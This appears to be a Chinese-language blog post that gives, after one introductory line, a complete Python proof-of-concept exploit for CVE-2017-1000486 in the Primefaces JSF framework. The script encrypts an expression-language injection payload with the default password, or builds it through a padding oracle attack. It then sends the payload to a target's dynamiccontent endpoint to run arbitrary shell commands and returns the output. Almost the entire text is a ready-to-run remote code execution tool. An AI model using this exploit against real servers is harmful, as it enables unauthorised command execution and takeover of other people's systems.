|
话不多说!直接上 poc
from paddingoracle import BadPaddingException, PaddingOracle
# from base64 import b64encode, b64decode
# from urllib import quote, unquote
import requests
from Crypto.Hash import MD5
from Crypto.Cipher import DES
import base64
import socket
import time
import logging
import argparse
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
requests.packages.urllib3.disable_warnings()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
payload = base64.b64encode(data)
while 1:
try:
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload}
response = self.session.post(self.target, data=post_params, stream=False, timeout=5, verify=False, proxies=self.proxies, headers=self.headers)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...', self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
# An HTTP 500 error was returned, likely due to incorrect padding
if response.status_code == 500:
logging.exception('No padding exception raised on %r', payload)
return
raise BadPaddingException
payloadEL = '${session.setAttribute("scriptfactory",facesContext.getExternalContext().getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance())}'
payloadEL += '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payloadEL += '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payloadEL += '${session.getAttribute("scriptengine").eval('
payloadEL += '"var os = java.lang.System.getProperty(\\"os.name\\");'
payloadEL += 'var proc = null;'
payloadEL += 'os.toLowerCase().contains(\\"win\\")? '
payloadEL += 'proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/C\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start()'
payloadEL += ' : proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"").concat(request.getParameter("cmd")).concat("\\"]).start();'
payloadEL += 'var is = proc.getInputStream();'
payloadEL += 'var sc = new java.util.Scanner(is,\\"UTF-8\\"); var out = \\"\\";'
payloadEL += 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);"))}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().close()}';
def get_args():
parser = argparse.ArgumentParser( prog="primefaces.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script exploits an expression language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
due to the use of weak crypto and default encryption password and salt.
''')
parser.add_argument("target", help="Target Host")
parser.add_argument("-pw", "--password", default="primefaces", help="Primefaces Password (Default = primefaces")
parser.add_argument("-pt", "--path", default="/javax.faces.resource/dynamiccontent.properties.xhtml", help="Path to dynamiccontent.properties (Default = /javax.faces.resource/dynamiccontent.properties.xhtml)")
parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute. (Default = whoami)")
parser.add_argument("-px", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (Default = None)")
parser.add_argument("-ck", "--cookie", default="", help="Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None)")
parser.add_argument("-o", "--oracle", default="0", help="Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW)")
parser.add_argument("-pl", "--payload", default="", help="EL Encrypted payload. That function is meant to be used with the Padding Oracle generated payload. (Default = None) ")
args = parser.parse_args()
return args
"""Mimic Java's PBEWithMD5AndDES algorithm used by Primefaces"""
def encrypt(data, password):
# Padding clear-text using PKCS5 algo
padding = 8 - len(data) % 8
data += chr(padding) * padding
# IV and "iterations count" extracted from primefaces sourcecode
iterations = 19
iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
hasher = MD5.new()
hasher.update(password)
hasher.update(iv)
result = hasher.digest()
for i in range(1, iterations):
hasher = MD5.new()
hasher.update(result)
result = hasher.digest()
cipher = DES.new(result[:8], DES.MODE_CBC, result[8:16])
encrypted = cipher.encrypt(data)
print (" Generated Encrypted Payload: " + str(base64.b64encode(encrypted)))
return str(base64.b64encode(encrypted))
def exploit(target, path, cmd, password, proxy, cookie, payload=""):
requests.packages.urllib3.disable_warnings()
proxies = {
'http': proxy,
'https': proxy
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*',
'Cookie': cookie
}
if payload == "":
payload = encrypt(payloadEL, password)
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload, 'cmd' : cmd}
print (" Attempting to execute: %s" % cmd)
r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=headers)
if r.text:
print ("[+] Exploit Result:\n\n %s" % r.text)
else:
print ("[-] Response body empty... Target might not be vulnerable or don't use default password... Try the padding oracle attack.")
def exploit_paddingoracle(target, path, cmd, password, proxy, cookie):
padbuster = PadBuster()
padbuster.proxies = {
'http': proxy,
'https': proxy
}
padbuster.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*',
'Cookie': cookie
}
padbuster.target = target+path
iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
payload = padbuster.encrypt(payloadEL, block_size=8, iv=iv)
print ("[+] Using the following generated payload:\n\n %s" % base64.b64encode(payload))
requests.packages.urllib3.disable_warnings()
proxies = {'http': proxy, 'https': proxy}
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': base64.b64encode(payload), 'cmd' : cmd}
print (" Attempting to execute: %s" % cmd)
r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=padbuster.headers)
print(r.headers)
if r.text:
print ("[+] Exploit Result:\n\n %s" % r.text)
else:
print ("[-] Response body empty... Target might not be vulnerable... :-(")
def main():
print ('')
print ('========================================================================')
print ('| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |')
print ('| by pimps |')
print ('========================================================================\n')
args = get_args()
if (args.oracle.strip() == "0"):
if (args.payload.strip() == ""):
print (" Generating payload using default Password...")
else:
print (" Executing the exploit using a given Payload...")
exploit(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip(), args.payload.strip())
else:
print (" Generating payload with Padding Oracle Attack... (SLOW)")
exploit_paddingoracle(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip())
if __name__ == '__main__':
main()
|
|